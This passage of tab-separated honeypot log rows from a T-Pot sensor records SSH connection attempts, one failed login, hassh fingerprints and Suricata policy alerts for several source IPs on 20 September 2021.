31524	87.112.251.105	109.199.241.180	Fatt	2021-09-20 14:46:00.893547+03	2021-09-20 15:00:02.276718+03	{"_id": "vQYGA3wBvYTbRNuE-kS5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54522, "dest_port": 22, "timestamp": "2021-09-20T11:46:00.893547", "@timestamp": "2021-09-20T11:46:00.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31525	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:45:51.401795+03	2021-09-20 15:00:02.278716+03	{"_id": "mgYGA3wBvYTbRNuE1ETu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:51986 (192.168.176.2:22) [session: 170a6b19d791]", "session": "170a6b19d791", "@version": "1", "protocol": "ssh", "src_port": 51986, "dest_port": 22, "timestamp": "2021-09-20T11:45:51.401795Z", "@timestamp": "2021-09-20T11:45:51.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31526	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:45:51.685318+03	2021-09-20 15:00:02.279716+03	{"_id": "nAYGA3wBvYTbRNuE1ETu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [jd/password] failed", "session": "170a6b19d791", "@version": "1", "password": "password", "username": "jd", "timestamp": "2021-09-20T11:45:51.685318Z", "@timestamp": "2021-09-20T11:45:51.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31527	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:45:51.441073+03	2021-09-20 15:00:02.280717+03	{"_id": "ngYGA3wBvYTbRNuE1kSS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:45:51.363717+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 930953294744773, "payload": "AAADzAYUfCRc8aUXdyYgyV3dsKZ5QwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51986, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:45:51.441073Z", "@timestamp": "2021-09-20T11:45:51.441Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......|$\\\\...w& .]...yC...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31528	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:45:51.405022+03	2021-09-20 15:00:02.282717+03	{"_id": "mQYGA3wBvYTbRNuE1ETu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "170a6b19d791", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:45:51.405022Z", "@timestamp": "2021-09-20T11:45:51.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31581	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:46:29.999299+03	2021-09-20 15:00:02.353716+03	{"_id": "KgYHA3wBvYTbRNuEa0UU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:46:26.480911+0000", "pkts_toclient": 6, "pkts_toserver": 7, "bytes_toclient": 1043, "bytes_toserver": 1357}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 484248780953231, "payload": "AAADVAUUFbtVT77a9RL6Us4TTypdBgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABSNWvTCQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37160, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:46:29.999299Z", "@timestamp": "2021-09-20T11:46:29.999Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T....UO.....R..O*].....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............R5k.."}}	1	\N	\N	alert	known attacker	\N
44385	192.168.20.104	109.199.241.180	Suricata	2021-09-20 16:35:20.499975+03	2021-09-20 16:45:01.584566+03	{"_id": "7wZrA3wBvYTbRNuEEaYg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:35:20.499975Z", "@timestamp": "2021-09-20T13:35:20.499Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31529	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:45:51.441429+03	2021-09-20 15:00:02.284717+03	{"_id": "mwYGA3wBvYTbRNuE1ETu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "170a6b19d791", "@version": "1", "timestamp": "2021-09-20T11:45:51.441429Z", "@timestamp": "2021-09-20T11:45:51.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31530	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:45:51.440741+03	2021-09-20 15:00:02.285717+03	{"_id": "nQYGA3wBvYTbRNuE1kSS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 930953294744773, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51986, "dest_port": 22, "timestamp": "2021-09-20T11:45:51.440741Z", "@timestamp": "2021-09-20T11:45:51.440Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31531	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:45:51.441073+03	2021-09-20 15:00:02.286716+03	{"_id": "nwYGA3wBvYTbRNuE10SL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51986, "dest_port": 22, "timestamp": "2021-09-20T11:45:51.441073", "@timestamp": "2021-09-20T11:45:51.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31532	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:45:52.72545+03	2021-09-20 15:00:02.288716+03	{"_id": "oQYGA3wBvYTbRNuE2ETX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "170a6b19d791", "@version": "1", "duration": 1.3207757472991943, "timestamp": "2021-09-20T11:45:52.725450Z", "@timestamp": "2021-09-20T11:45:52.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31533	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:45:51.405737+03	2021-09-20 15:00:02.289717+03	{"_id": "oAYGA3wBvYTbRNuE10SL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.200.124.7", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51986, "timestamp": "2021-09-20T11:45:51.405737", "@timestamp": "2021-09-20T11:45:51.405Z", 